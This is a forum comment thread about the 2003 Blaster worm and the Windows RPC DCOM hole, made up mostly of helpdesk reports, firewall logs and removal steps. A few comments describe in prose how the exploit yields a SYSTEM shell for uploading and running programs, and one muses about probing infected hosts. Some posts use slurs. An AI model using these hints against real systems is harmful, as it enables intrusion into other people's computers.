Are the calls mostly centered around actual problems, or is it users doing their famous "I heard about the RPC bug, and now my computer won't boot!" routine? When Code Red came out, for instance, we saw everything from bad disks to dialup issues being blamed on it, solely because people didn't listen to anything past "the world is calling" chicken-littleisms.

Re:users being hit hard

[Anonymous Coward]

Same here, all of the 2K shipping system started to get hit about 1300 pst.

Re:users being hit hard

[Leomania]

"The day Microsoft makes something that doesn't suck is probably the day they start making vacuum cleaners."

ROFL... thank you for that! Hadn't heard that one before.

Not that I'm rabid anti-Microsoft or anything, but it made me laugh out loud and I had to explain to my co-workers (not my boss, thankfully) what I was laughing about.

- Leo

Re:users being hit hard

[Anonymous Coward]

Just met at least two people who had the RPC service go unstable on them, one on XP, one on 2K, forcing recurring reboots. Installing the patch for the hole seems to have fixed the symptoms in at least one of the cases.

Maybe it's a bug or mutation in the exploit code? Or just flooding from so many infected nodes?

Re:users being hit hard

[Vacuous]

Most of them are the actual issue. I think I will be seeing some serious over time tonight.

Also do us a favour and tell your friends to get the following patches from MS.

823559
817606
823980
819616

Re:users being hit hard

[Anonymous Coward]

Out of curiosity, how did you explain to your boss why you were reading slashdot at work in the first place?

Re:users being hit hard

[towaz]

they boot into windows and get an rpc error and told to restart,... checked the registry keys and msblast.exe has been found in a few.... not sure if this will work but using system restore in safemode and disabling dcom could sort this to get the patch.

anyone that can think of a better solution?

Re:users being hit hard

[E-Rock]

Whatever did this has also changed the Admin password. Just blow the system away, who knows what it has done.

Re:users being hit hard

[towaz]

just hard to tell 200 odd users an hour to blow away there o/s :)

Re:users being hit hard

[snatcheroo]

' "the world is calling" chicken-littleisms. '

The world is calling huh? ...
#include
int main()
{
std::cout "Hello, world!\n";
}

It's not saying anything back. :(

Re:users being hit hard

[mAineAc]

Damn I work for an isp in Maine and the same thing is happening here also has been all day people call for rpc errors that shut their computer down I have found that deleting and recreating the dialer seems to get them back on but I don't know how long. They all have windows XP. Is Microsoft forcing an update?

Re:users being hit hard

[E-Rock]

Well, then I guess you need to step in the ol' time machine and patch, patch, patch, patch, patch. ;)

I found that the msblast.exe has a mechanism to restore itself if removed from the registry. Have to wait for the rest of the analysis before you can even start to clean up the machines.
(which you may want to mention to management is a hell of a lot more time consuming and expensive than patching would have been)

Re:users being hit hard

[troutsoup]

yeah, my girlfriend called and her machine is resetting right after she goes online (dialup) rpc errors and other stuff. its a mess even did it after killing the msblast.exe process.... fun fun fun. gotta go read up more on this to figure out how to undo it. :(

Re:users being hit hard

[TheQuantumShift]

The silly thing is that most people called back when it was announced, (thanks evening news doomsayers...), with the fear of the "hackers" all through them. Now they're acting miffed when I say "a security issue that was announced on july, has not been patched on your system"... some guy even angrily took down the long distance # for ms support, because his pirate xp wouldn't auto update...

Re:users being hit hard

[aastanna]

because his pirate xp wouldn't auto update...

That's actually a really good point, since microsoft won't let you autoupdate with pirated versions of the OS I bet a large percentage of home users are not going to be patched.

I think it's pretty irresponsible of them not to allow the autoupdate really...the problem is they've created a monopoly in the home OS market, so people will pirate it, and they have a seriously flawed product, so there's no way around having a large number of flaws floating around in the uninformed general public.

Disclaimer: I do not have a pirated copy of XP. I have a licenced version because my university made a deal with microsoft and it was free, but I use my powerbook for anything serious. Even with the autoupdate patching my system every week I still don't trust that box for anything more important than games.

Re:users being hit hard

[Keeper]

I think it's pretty irresponsible of them not to allow the autoupdate really...

That's like stealing a car, bring it back to the car dealership to get a warantee issue fixed, and then acting all miffed when they call the cops on you.

If you steal something, don't expect the company you stole from to treat you like a customer.

Re:users being hit hard

[Read Icculus]

Here's a little slice of my firewall log from the last 5 minutes. I've seen dozens more hits on 135 just from today as well, so it looks like a pretty big increase in scans against port 135. Most of the hits are from unique IPs too, so that might be a lot of infected hosts around me.

Aug 11 17:33:02 localhost kernel: DROPPED IN=ppp0 OUT= MAC= SRC=63.172.130.80 DST=63.172.*.* LEN=48 TOS=0x00 PREC=0x00 TTL=119 ID=2379 DF PROTO=TCP SPT=2894 DPT=135 SEQ=1728084718 ACK=0 WINDOW=8160 RES=0x00 SYN URGP=0 OPT (0204055001010402)
Aug 11 17:33:38 localhost kernel: DROPPED IN=ppp0 OUT= MAC= SRC=63.172.130.215 DST=63.172.*.* LEN=48 TOS=0x00 PREC=0x00 TTL=119 ID=4273 DF PROTO=TCP SPT=3228 DPT=135 SEQ=1209790384 ACK=0 WINDOW=8760 RES=0x00 SYN URGP=0 OPT (020405B401010402)
Aug 11 17:33:39 localhost kernel: DROPPED IN=ppp0 OUT= MAC= SRC=63.172.130.213 DST=63.172.*.* LEN=48 TOS=0x00 PREC=0x00 TTL=119 ID=3386 DF PROTO=TCP SPT=3919 DPT=135 SEQ=2822723887 ACK=0 WINDOW=8760 RES=0x00 SYN URGP=0 OPT (020405B401010402)
Aug 11 17:33:41 localhost kernel: DROPPED IN=ppp0 OUT= MAC= SRC=63.172.130.215 DST=63.172.*.* LEN=48 TOS=0x00 PREC=0x00 TTL=119 ID=4308 DF PROTO=TCP SPT=3228 DPT=135 SEQ=1209790384 ACK=0 WINDOW=8760 RES=0x00 SYN URGP=0 OPT (020405B401010402)
Aug 11 17:33:42 localhost kernel: DROPPED IN=ppp0 OUT= MAC= SRC=63.172.130.213 DST=63.172.*.* LEN=48 TOS=0x00 PREC=0x00 TTL=119 ID=3421 DF PROTO=TCP SPT=3919 DPT=135 SEQ=2822723887 ACK=0 WINDOW=8760 RES=0x00 SYN URGP=0 OPT (020405B401010402)
Aug 11 17:33:47 localhost kernel: DROPPED IN=ppp0 OUT= MAC= SRC=63.172.130.215 DST=63.172.*.* LEN=48 TOS=0x00 PREC=0x00 TTL=119 ID=4388 DF PROTO=TCP SPT=3228 DPT=135 SEQ=1209790384 ACK=0 WINDOW=8760 RES=0x00 SYN URGP=0 OPT (020405B401010402)
Aug 11 17:36:37 localhost kernel: DROPPED IN=ppp0 OUT= MAC= SRC=63.170.148.241 DST=63.172.*.* LEN=48 TOS=0x00 PREC=0x00 TTL=119 ID=13498 DF PROTO=TCP SPT=3786 DPT=135 SEQ=1718264031 ACK=0 WINDOW=16384 RES=0x00 SYN URGP=0 OPT (020405B401010402)
Aug 11 17:36:40 localhost kernel: DROPPED IN=ppp0 OUT= MAC= SRC=63.170.148.241 DST=63.172.*.* LEN=48 TOS=0x00 PREC=0x00 TTL=119 ID=13523 DF PROTO=TCP SPT=3786 DPT=135 SEQ=1718264031 ACK=0 WINDOW=16384 RES=0x00 SYN URGP=0 OPT (020405B401010402)
Aug 11 17:36:42 localhost kernel: DROPPED IN=ppp0 OUT= MAC= SRC=63.170.148.241 DST=63.172.*.* LEN=48 TOS=0x00 PREC=0x00 TTL=119 ID=13542 DF PROTO=TCP SPT=3786 DPT=135 SEQ=1718264031 ACK=0 WINDOW=16384 RES=0x00 SYN URGP=0 OPT (020405B401010402)

Re:users being hit hard

[TheRealFixer]

Yeah, except the stolen car doesn't take off by itself in the middle of the night and start hitting every other car it sees.

Re:users being hit hard

[Anonymous Coward]

The calls here are all legit. Turns out that only half the PCs were updated when they were supposed to be (vacation issues). And about half of them are infected.

Re:users being hit hard

[rodgerd]

A better comparison would be bringing the car back in for a recall because the manufacturer discovered a problem that could make you lose control and career into another vehicle.

Re:users being hit hard

[Merk]

Well imagine that car in question is the infamous Ford Pinto that seemed to enjoy exploding. That car wasn't just a danger to the people driving it, it was a danger to whoever happened to be nearby when it exploded. What if Ford had said to all people who had bought used Pintos: "Tough luck, we only support cars bought directly from us. Figure out how to fix it on your own."

When a flaw in your product can screw things up for people who aren't your direct customers, it's a lot harder to argue that you shouldn't have to fix it for them too, especially when it's just a matter of supplying them with bits.

Re:users being hit hard

[Keeper]

No it isn't. Because the dealership would still call the cops and bust you, and the dumb theif would still be wondering "wtf"? As a result the smart theif would still be driving around in a dangerous vehicle (though in reality they'd probably ditch it and steal something else).

A thief is a thief. They're responsible for their own actions. You can make all of the arguments you want about how software should be free, or how overpriced it is, or whatever -- but at the end of the day you've still got a person who decided to steal it instead of pay for it.

One of the consequences of that action is that they now have a machine they can't patch, which poses a risk to all of the other unpatched machines in existance. I feel no pitty for the thief, and very little pitty for the person who didn't keep their system up to date (which takes no effort with the way windows update works these days).

Re:users being hit hard

[Keeper]

These aren't people who bought used Pintos .. these are people who stole a Pinto (for whatever reason why you'd steal a Pinto). You can't honestly expect to be able to walk into a Ford dealership with a car you stole off of their lot and say "fix my car" without any problems. You can expect them to call the cops on you, fix the car, and sell it to someone else though.

Re:users being hit hard

[Merk]

Sure, but do you think they could get away with saying "we refuse to release information on how this problem can be fixed, if you can prove to us you bought the car, we'll fix it, but if you can't, tough luck"

That might work if it were something like the car not starting right, but if it has the potential to endanger other people, I don't think that would fly.

Re:users being hit hard

[Anonymous Coward]

My pirated version of XP auto updates just fine. Do all of you linux fags make this shit up?

Re:users being hit hard

[Anonymous Coward]

I'd half to aggree with you on that one.

Re:users being hit hard

[Keeper]

Except in this case, the people who are in danger from the bad car the thieves stole are only in danger until they get their car fixed. And they'd be in danger anyway regardless of the number of car thieves out there.

Re:users being hit hard

[Anonymous Coward]

more like "I'm using Outlook Express, and I keep getting out-of-memory errors". Then we get them to tell us their MAC address and shut off their wall port.

Re:users being hit hard

[arthurh3535]

No, I can truthfully say I just lived through a hell-shift at work thanks to this virus. Most (as in 99%) of everyone infected was just wondering why their system just kept rebooting, they had no idea that there was this virus making the rounds.

Broadband users seemed to get hit the worst (they couldn't figure out why their system would "always" reboot.)

Nine hours with very small breaks and pizze (company provided) at my desk.

Bastards...

Arthur Hansen

Re:users being hit hard

[Confessed Geek]

I think a better analogy would be someone steals a smallpox infected blanket, then you refuse to treat them, letting them spread the disease wherever they go, even to those who haven't done anything wrong but just didn't know an epidemic had started.

Re:users being hit hard

[aastanna]

I don't feel pity for the pirates, I feel pity for all the servers that will be DDOSed because of this.

If microsoft could, I wouldn't mind them locking down the pirated installs, shutting them down, erasing the hard drive, whatever. Leaving them functioning and unpatched is what I think is irresponsible.

Re:users being hit hard

[GreenBugsBunny]

If you were to use the car analogy here, you would have to use it in such a way that the pirated windows was not copied, but a stolen disc. In which case, everything would work fine.

Pirated software is an illegal *copy* of a product. When you steal a car, you steal the real thing.

I agree, though, that MS should not support pirated copies. It's not their fault if somebody obtained an illegal copy.

Re:users being hit hard

[Keeper]

No, it isn't a better analogy, because a 3rd party provides the treatment for the disease. The person you stole from isn't providing the treatment. And I would not expect the person who was stolen from to provide the thief with treatment at their own expense.

Your analogy is more along the lines of the cases where a thief breaks into a house to steal something, slips on something and injures himself, then turns around expecting the owner to pay for his medical bills (ie: sues).

Re:users being hit hard

[Keeper]

I suspect that the ddos risk would be present regardless of the number of pirated installs...mainly because most lusers don't keep their systems up to date (as evidenced by the huge number of people posting on message boards all over the place with things like "why am I getting RPC errors, and why is my computer rebooting?").

As a side note, due to the way the attack propogates, the people most subject to the ddos attack are not businesses, but rather people on DSL/Cable modems... And the fact that ever website I've visited today exhibits it's usually snappy response, I'd be willing to bet that most sites aren't having a problem with it.

I'm sure I'll have fun checking my firewall logs when I get home tonight to see how bad the problem really is though. Probably similar to CodeRed and it's related ilk.

Re:users being hit hard

[Keeper]

While there is a difference between having a real object (car) and a "virtual" one (software), the difference is academic.

If you have an illegal copy of a product, you didn't pay for it. If you have an stolen car, you didn't pay for it. The product was stolen (product being the "virtual" software package, or the car).

Re:users being hit hard

[GreenBugsBunny]

But by stealing the virtual package, the original owner still has his product. Stealing a car leaves the original owner empty-handed. That is where the analogy doesn't work. I'm not arguing whether it is legal or not, I'm just saying that the analogy doesn't work.

Re:users being hit hard

[Anonymous Coward]

You mean you actually have a job and you have to do it?

Poor guy. I feel for ya.

Re:users being hit hard

[pi42]

The pirated copy of WinXP that doesn't update is only the one with the massively-pirated FCKGW- serial number.

Other serial numbers will auto-update just fine.

Re:users being hit hard

[Skuld-Chan]

In my call center it was more like the agents getting the bug. I did notice call volume drop which is a good thing.

Anything that messes up end users systems is always a good thing.

Re:users being hit hard

[Keeper]

I'm not even arguing if something is legal -- I'm dealing with what I consider right and wrong. If you pirate software, as far as I'm concerned, you've stolen it. The fact that the guy you copied it from still has a copy doesn't enter into the equation -- it's still stealing.

In the analogy, the company selling the car didn't get their money for the car and the company selling the software didn't get their money for the software. The fact that one of those pieces of property has more "physical" cost associated with it doesn't matter.

You can say it does until you're blue in the face, but you won't convince me otherwise.

Re:users being hit hard

[coffee_admin]

I work in a call center that supports one of the major 5 OEM home pc manufacturers and our call volume went through the roof. I am just rather glad that I no longer am part of Tier 1 or Tier 2 support so my day was relatively unaffected by this though.

For our Tier 1 agents however, the main desktop queue consistently had 80+ calls waiting with an average of a 75 minute hold time before speaking to an agent. Once the issue was discovered, as well as the fixes, the queue started to go down steadily but slowly.

Unfortunately, in this day when computer viruses and worms are all too common, when asked if they [the customer's] had downloaded their windows updates recently, the vast majority of the answers were either "no" or "what are windows updates?" Hopefully the average joe will one day attempt to edumacate themselves of what is most likely the third most expensive purchase they will ever make (afte house and car of course). Until then, long live tech support...

Re:users being hit hard

[KU_Fletch]

from my testing, msblast doesn't have a pure restore ability. it burrows within XP's Auto Restore feature (thanks M$, great idea you had there). so untily ou disable Auto Restore, XP will keep reinstalling the virus for you. /me hugs firewall and intelligence to patch computer when security experts call something "the worst windows exploit found to date"

Re:users being hit hard

[spd_rcr]

non-stop @ our call center ..
"ya, you have the blaster virus -mute- fsck doesn't anyone use windows update -unmute- norton.com, we don't support virus removal -mute- have fun downloading the patch in under 60 seconds retard -unmute- thanks for calling ..."

Re:users being hit hard

[LinuxHam]

I can't believe how long this goes on here. You're stealing a copy of something, and each copy has an associated monetary value. If you steal a poster copy of a painting from a museum gift shop, do you just say, "they can print more copies"? Now what if you could steal a *perfect* copy of that painting that could even fool Antiques Roadshow? Still no monetary value because it's just a copy?

Re:users being hit hard

[FroMan]

Hmmm, best plan is to reinstall.

I know a lot of the anti-virus companies sport "insta-clean-your-machine" software all the time, but I don't trust it. There are so many variants of viruses and worms and such nasties that how can you be sure that every peice of the infection is removed? How can you be sure that there was not a second payload that was associated with the worm, or that it didn't open a second back door the AV company didn't know about.

The best plan is to not remove worms/viruses. The best plan is to reinstall from trusted media. Patch the known holes, then bring the machine back online.

Re:users being hit hard

[GreenBugsBunny]

I think people are missing the point of my argument. Yes, it's illegal, and it is still stealing. I agree with that 100%.

My argument is that the car analogy doesn't fit here. Your painting analogy fits a little better, though, being a copy of the original.

The problem is that we're dealing with data, not a physical object. There aren't really any good analogies to fit here, because of that.

Yes, a car manufacturer should turn in a stolen car if the theif tries to get a recalled item fixed.

No, Microsoft shouldn't have to support, or provide patches to, pirated copies of Windows. But for different reasons.

Re:users being hit hard

[GreenBugsBunny]

I'm not even arguing if something is legal -- I'm dealing with what I consider right and wrong. If you pirate software, as far as I'm concerned, you've stolen it. The fact that the guy you copied it from still has a copy doesn't enter into the equation -- it's still stealing.

Agreed.

In the analogy, the company selling the car didn't get their money for the car

They sold it to the original owner, didn't they? They most definitely got the money for that car.

and the company selling the software didn't get their money for the software.

Very true, which is why the analogy doesn't work. The car manufacturer did not lose out on a sale, they sold the car. It's the owner of the car that loses his property. Very different from the company not making a sale, which is the case of software piracy.

The fact that one of those pieces of property has more "physical" cost associated with it doesn't matter.

But what does matter is where that cost lies. In the physical case, it's the original owner who incurs the cost. In the 'virtual' case, the manufacturer loses out on a sale, but doesn't really *lose* any additional money. That is where the difference is, and that is where the analogy doesn't work.

You can say it does until you're blue in the face, but you won't convince me otherwise.

I think we might be trying to prove different points. You seem to be trying to say, "piracy is stealing", which I agree with 100%. I just don't think that the car-theft analogy fits very well. It's difficult to use an analogy in this case becase nothing really fits. There's no other medium that really compares to software...except other software, which doesn't really work for comparison.

Re:users being hit hard

[Keeper]

They sold it to the original owner, didn't they? They most definitely got the money for that car.

In the analogy, the car was stolen from the car dealership (new off the lot), not from a person who had bought it.

But what does matter is where that cost lies. In the physical case, it's the original owner who incurs the cost. In the 'virtual' case, the manufacturer loses out on a sale, but doesn't really *lose* any additional money. That is where the difference is, and that is where the analogy doesn't work.

So if nobody paid for commercial software, commercial software companies would still make money right? Didn't think so.

I think we might be trying to prove different points. You seem to be trying to say, "piracy is stealing", which I agree with 100%. I just don't think that the car-theft analogy fits very well. It's difficult to use an analogy in this case becase nothing really fits. There's no other medium that really compares to software...except other software, which doesn't really work for comparison.

If it was a perfect fit it wouldn't be an analogy then, would it? :p The points being made with the analogy are valid -- that someone who steals something shouldn't expect help from the person being stolen from. The fact that the physical costs of the product are different between the two doesn't really enter the equation.

Re:users being hit hard

[aminorex]

Oh come one, everyone knows that smallpox
infected blankets are patented by the AMA.

Re:users being hit hard

[TheQuantumShift]

Yes, we do. Haven't you figured that out by now? Or are you too busy trying to come up with new ways to insert "fags" into your everyday vocabulary? Just wait, MS will soon start auditing windows update logs for "corporate edition", start tracing IP's, and you'll have to explain to the FBI, that they're just a bunch of "fags"... And whoever the fuck modded this up, (most likely your real account) I'd like to say good job.

Credit...

[chill]

At least Microsoft was nice enough to credit LSD in the tech note.

Re:Credit...

[Dom2]

Once again proving that they are doing little more than deriving from Unix:

There are two major products that come out of Berkeley: LSD and UNIX. We don't believe this to be a coincidence.
-- Jeremy S. Anderson

From your local neighbourhood fortune cookie file.

-Dom

Re:Credit...

[GnomeKing]

At least Microsoft was nice enough to credit LSD in the tech note.

Is that what they were taking when they wrote the code?

Re:Credit...

[Anonymous Coward]

LSD? Why? Were the developers on LSD when they created the security systems for Windows or something?

Re:Credit...

[Anonymous Coward]

I'm sure you could write better code for a portion of an OS as big as windows, not!

Re:Credit...

[jandrese]

You know, that joke is even funnier when it's told correctly:

There are two major products that come out of Berkeley: LSD and BSD. We don't believe this to be a coincidence.
-- Jeremy S. Anderson

this vunerability...

[garcia]

if you use this vunerability against someone (usually people that hit your web server with /default.ida) you get access to a C:\ prompt. You can look around, run format, etc.

It's quick to crash the machine (apparently) as the remote becomes unusable (pingable though).

It's actually pretty nasty from what I have seen... I just wonder how effective the worm will be when the machine becomes unresponsive after a few commands?

Perhaps it won't spread as fast as others because of this problem? I suppose we can hope.

Re:this vunerability...

[Quasar1999]

No problem, I'm sure someone will fix that minor flaw, and cause it to propogate using just one command...

Re:this vunerability...

[cshark]

Not to stir up a hornet's nest here, but how legal would it be to write a program that runs a counter attack against a virus like this? I'm thinking it could run it automatically, and essentially disable the machine that did the attacking. What do you think?

Re:this vunerability...

[HermanAB]

well, in general, you are allowed to defend your property.

Re:this vunerability...

[Motherfucking Shit]

well, in general, you are allowed to defend your property

I need to move to General! Here in the USA, the corporations own everyone else's property, and it's starting to suck.

Re:this vunerability...

[Com2Kid]

Not legal at all, when one of the earliest internet worms came around this was tried.

The unforutnate fixer-upers got in big legal trouble. Oops.

Don't know if they ever caught the original virus author though. . . .

Re:this vunerability...

[Biff Stu]

What I want to know is how many hackers used this exploit to gain root access to computers without creating any noticeable instability.

Re:this vunerability...

[jamesh]

The hornets have been stirred!!!

There was at least one case of a web site which would respond to code red (or was it nimda?) probes by connecting to the infected pc and install the relevent patches on it then reboot it.

There may have been a disclaimer on the web site that said 'to automatically clean your server, connect to this URL' (which was, by an amazing coincidence, the same URL the worm was using to attack vulnerable computers).

Re:this vunerability...

[Knightmare]

Actually there are several versions and the newer versions of the exploit do not make the box unstable. The call at the end of the shell code was changed to solve that "problem".

Re:this vunerability...

[PcChip]

I know of a lot of people who are using this vuln and not crashing boxes. There is a new version that does not crash it when executed, then you can simply TFTP in any program you want and run it with SYSTEM level access

New title suggestion for this story

[Kappelmeister]

Developers: RPC DCOM Worm On The Loose

Shouldn't that be:

Developers, Developers, Developers, Developers, Developers, Developers, Developers, Developers, DEVELOPERS!, DEVELOPERS!, DEVELOPERS!, DEVELOPERS!, DEVELOPERS!: RPC DCOM Worm On The Loose

Re:New title suggestion for this story

[Anonymous Coward]

No. "Developers" is the section this story is classified as. There is no "Developers, Developers, Developers, Developers, Developers, Developers, Developers, Developers, DEVELOPERS!, DEVELOPERS!, DEVELOPERS!, DEVELOPERS!, DEVELOPERS!" section. Asshole.

Been waiting for this

[LearningHard]

After watching all the message traffic on the full-disclosure list about this exploit I knew a worm would be forthcoming. This is a fairly easy to abuse exploit and with all the unpatched systems out there I can only imagine the possible growth this worm might experience.

Wow, my 1st /.ing

[LinuxHam]

I was *just* surfing D-Shield and was reading a notice about a captured worm. Sure enough, as soon as this article appeared.. the site is DOWN.. that really is something to see, even I get shocked every now and again.

ISP call center is hammered

[Anonymous Coward]

I work at one of the nation largest ISP tech support call centers. Our call volume is going through the roof today.

Re:ISP call center is hammered

[Anonymous Coward]

Tell them to go outside with a 2x4 and beat the shit out of themselves for being so fucking stupid

Re:ISP call center is hammered

[Amon Re]

and you have time to post on slashdot? Ahh...the wonderful state of Tech support today.

Re:ISP call center is hammered

[natefanaro]

I don't work for a large ISP but we're getting hammered too.

Security Advisory

[Blangopolis]

The security advisory can be found here.

After reading the advisory, it looks like this one is going to be a bad one. I'm no expert, but I would guess that this thing is going to be around as long as code red was (and I'm still getting code red hits in my logs!)

Re:Security Advisory

[Anonymous Coward]

why did you feel the need to post this? The advisory was already in the previous /. post which is contained in the story.

mod down as troll/karma whore.

Re:Security Advisory

[notAyank]

Checked the link. can someone explain what "moderately critical" is?

Re:Security Advisory

[Anonymous Coward]

Basically what every other security advisory means: If you run Winblows you are fscked. Nothing new here

Windows = Insecurity

[scifience]

And the government thinks Windows is more secure than SuSE Linux? Riiight.

Effects

[Papa Legba]

This worm is bugged it seems. From XP systems I have seen it throws an error to the screen about RPC services and reboots the system. On Windows 2000 Pro it crashes the svchost and a lot of stuff stops working. Just and FYI for those trying to diagnose systems right this minute.

Cagliostro

Re:Effects

[websurf.net]

Yeah tell me about it. I work at a small ISP, and we have had several calls about this. First time, couldn't figure it, second time I figured it out. What a bugger.

Re:Effects

[PolyDwarf]

Diagnose their systems this very minute? Screw the systems, there's /. to read!!

Re:Effects

[gclef]

The worm isn't buggy...Windows is. (well, they both have issues, but your machine going down isn't necessarily the worm coder's fault.)

Apparently there are two problems with RPC: one is a DCOM overflow, which this worm is exploiting...the other is a DoS, which shuts RPC down. Once RPC goes down, Windows wants to reboot. Microsoft has not yet offered a patch for the DoS yet, which means this worm is going to suck.

Re:Effects

[Anonymous Coward]

So how do you fix an infected machine?

Re:Effects

[gclef]

So how do you fix an infected machine?

1) Delete msblast.exe (usually found at: winnt\system32\msblast.exe)
2) delete the Registry key: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\windows auto update" . That key should contain the "msblast.exe" process, and is what starts it up again on reboot.
3) Patch DCOM, or you'll just get this again.

Re:Effects

[gclef]

Oh, yeah, and reboot, since the worm binds a command shell to port 4444...but then, you'll have to reboot to patch RPC anyway.

Re:Effects

[Anonymous Coward]

If the computer shuts down 30 seconds after I boot it how do I delete the registry key.? Are you talking about using the recovery cd? Thanks in advance.

Re:Effects

[gclef]

Don't connect to the net while making these changes. (yeah, I know, you're only getting this info by connecting to the net...sorry.) The problem is that the exploit that's floating around will still cause unprotected windows 2k and xp machines to reboot, even if they are patched. Microsoft hasn't released a patch to deal with the reboot issue yet, just the overflow attack. Since your machine is getting pounded by the exploit once you dial in to the net, you're not going to last long before getting rebooted. If you have access to install media for ZoneAlarm (or the internet connection filter in XP), use that to keep the machine up while on the net.

Good luck.

Re:Effects

[Anonymous Coward]

Good luck here. I've spent a few hours dealing with 6 remote sales people who decided they didn't feel like patching.

After going into safe mode, deleting the key and the exe file they are infected within 2 minutes of attempting to get online and download the patch. With Microsoft's site being bogged down I now have 6 cd's on the fedex truck.

This worm is hilarious in a sense. It's saying look what I can do dumbasses...now just think of what I could've done.

Re:Effects

[Anonymous Coward]

I helped a friend with this. We put in a firewall, killed the running msblast.exe, deleted the registry key, and two files:

winnt\prefetch\msblast.ext-3646fef.pf
winnt\sys tem32\msblast.exe

and restarted the system.

Msblast.exe wasn't running. I hope the firewall works to avoid reinfection.

I think my friend also applied a windows update, but I wasn't there.

Thanks for the info here, it really helped!

Re:Effects

[shlashdot]

Thanks!

Re:Effects

[corkhead0]

From XP systems I have seen it throws an error to the screen about RPC services

Same thing for me, I rebooted to knoppix and did some research (because I didn't know anything about RPC), then disabled DCOM in windows and all is hopefully good.

Re:Effects

[-audiowhore-]

Thankfully, this particular worm isn't smart enough to identify the OS of the target, thus it *could* possibly end up using the incorrect return address for the *actual* OS target, thus causing the RPC process to crash.

A week or so back, global return address were identified for Windows 2000 and Windows XP. This meant that regardless of service pack or region, Windows 2000 could be 0wned using a single return address. Ditto fo XP.

It appears as though this worm uses the original dcom.c exploit code, which did not have the universal return addresses.

It won't be long until the next variation of this type of worm is released, with much more intelligence.

Re:Effects

[jakupovic]

I had two friends with similar symptoms, machine boots and after a minute or two a box pops up saying that a critical windows process stopped and the machine will reboot in 60 seconds, and it just keeps doing it, after they patched their system with microsoft fix rebooting stopped, I'm not sure what the payload was, so it may still come back as someone suggested on the thread

Re:Effects

[Melibeus]

Ah, I wondered why svchost just crashed on my machine at work. Lets see if our sysadmin people notice anything awry. The daily virus scan certainly did not.

Perhaps I should tell them.
Then again...

Re:Effects

[Anonymous Coward]

...or turn on Internet Filtering (XP "firewall"), or set up whatever firewall software on your computer to block TCP & UDP ports 135-144, and 4444...

That should give you enough time to download your patches... worked for me.

Re:Effects

[smeenz]

just a a couple of extra points -

1. you should KILL the msblast process first, otherwise you won't be able to delete the file as it will be held open.

2. The file msblast.exe is marked as read-only. This generally won't be a problem, but can be a gottcha if you try and delete it from a CMD shell without running attrib -r msblast.exe first.

3. You should patch the system and reboot before attempting to remove the virus, otherwise you're open to reinfection from the moment you kill the msblast process.

4. This thing causes odd behaviour on different systems. When svchost.exe gets killed on w2k pro, that stops cut and paste working. If you're running office, word will behave VERY oddly. If you're browsing your hard drive, some directories may appear to have no files in them, when in fact they really do, and lastly, IE may fail to draw some of the images on some web sites.

Re:Effects

[mulhall]

Just a point on XP, use shutdown /a to prevent the reboot. ...45
44
43 ...

Re:Effects

[sethwilberger]

Nice, I work in tech support and we have a few methods of stopping the restart while we fix the problem and get the downloads. "shutdown /a" should be a little quicker then the other 2 i used today : enabling the firewall or disabling RPC...

UNC-Chapel Hill South Campus Hit Hard

[Anonymous Coward]

UNC-Chapel Hill South Campus [Medicine, Pharmacy, Nursing, etc] has been slammed by this thing.

The tragic part is that Microsoft posted the patch almost a month ago:

http://www.microsoft.com/technet/treeview/default. asp?url=/technet/security/bulletin/ms03-026.asp

Re:UNC-Chapel Hill South Campus Hit Hard

[Anonymous Coward]

The tragic part is that Microsoft posted the patch almost a month ago:

Assuming that the patch works, that is. This advisory suggests that the W2K version of the patch may not fully fix the problem.

Re:UNC-Chapel Hill South Campus Hit Hard

[foolish]

Yeah, unfortunately the patch doesn't patch all systems. Especially networks with legacy servers.

Re:UNC-Chapel Hill South Campus Hit Hard

[Pvt_Waldo]

Psh - the tragedy isn't that Microsoft posted the patch almost a month ago. The tradegy is that people don't patch their systems and keep them up to date.

To turn a phrase, "Operating systems don't make people not patch, people make people not patch"

I saw it happen LIVE!

[__aaklbk2114]

I was working on my parents compter (Windows XP) remotely today when this started happening. I was installing some new software for them and I had also just disabled that stupid Messenger service so they would stop getting those pop-up spam messages.

Anyhow, I had just finished that when XP said it was shutting down in 30 seconds. I was like, WTF!

Here I am thinking that I just screwed up their machine with the new apps somehow.

Thanks a bunch, Billy. Guess they'll be punting this one to Longhorn :)

Re:I saw it happen LIVE!

[snake_dad]

Well mister wondergeek... when are you gonna give 'm a firewall?

Re:I saw it happen LIVE!

[imsabbel]

HEY, I saw it live while programming at my pc.
Thought WTF?!?!
Needed 5 trys to get the patch. it took only 10sec-3 min after going online to start the "60sec to death" countdown. Not much time to locate and download a 1.5MB patch.
But it worked without problems. System is stable now....

Re:I saw it happen LIVE!

[rbgaynor]

I was working on my parents compter (Windows XP) remotely today...

By remotely I assume you mean "from their basement"

Re:I saw it happen LIVE!

[Anonymous Coward]

Nope, you didn't screw up their system by installing software, you screwed it up by not patching it. Good work!
Its always more convenient to blame Msft than to properly administer a system. Seriously, how difficult is windowsupdate?

Re:I saw it happen LIVE!

[Anonymous Coward]

MS claims Windows is easy enough to require _no_ administration...

Re:I saw it happen LIVE!

[PcChip]

to abort a shutdown, click start -> run, and type: shutdown -a -m 127.0.0.1 for yourself or shutdown -a -m \\COMPUTERNAME for a remote computer

Exploit

[MC68040]

Thinking that there has already for some time been a few "non-secret" exploits floating around in the wild for this it was just a matter of time.

So I guess all windows security holes will lead to worms in the future? Maybe they should start calling heavy-load proof networks "worm-load proof" instead? ;)

Incoming!!!!!

[dJCL]

Incoming!!!! Oh, wait a second...

This thing runs using the DCOM-RPC protocol right? I got that port blocked at the firewall, any attempt to touch the port is just ignored.

Of course the patch will help if somehow it gets inside, but still...

I don't trust microsoft for my windows security when on the net... I trust linux.

Re:Incoming!!!!!

[Anonymous Coward]

Shoot, man, that's just silly. The only real solution...
Trust OpenBSD. :)

Re:Incoming!!!!!

[dJCL]

Yeah, I actually thought just after I hit post that I should have put a BSD in there too, I just don't use BSD for firewall purposes, thou I could with no problems... oh well.

Off to grep my logs for port 4444 and 135 to find some systems to play with, I mean laugh at...

old news?

[Anonymous Coward]

I downloaded this patch for Windows 2000 then checked my local hotfix directory and found I had already applied this days ago.

So I guess this /. article is about what is happening to those who haven't patched. Kinda like watching the poor sobs fight lions in the gladitorial pits for education.

Virus Worm Out

[Anonymous Coward]

Hello everyone ..

I work for a small ISP ... Seems a worm has been released. We have received a number of calls about peoples systems shutting down with the following error: NT Authority System .. ect ect.

And the computer restarts.. This happens about every 40-60 Seconds making it "almost" impossible to Patch the Computer. Just a heads up for ANY IT Guys out there :)

Free way to test your machine

[Anonymous Coward]

http://secur1ty.net/dcom.cgi

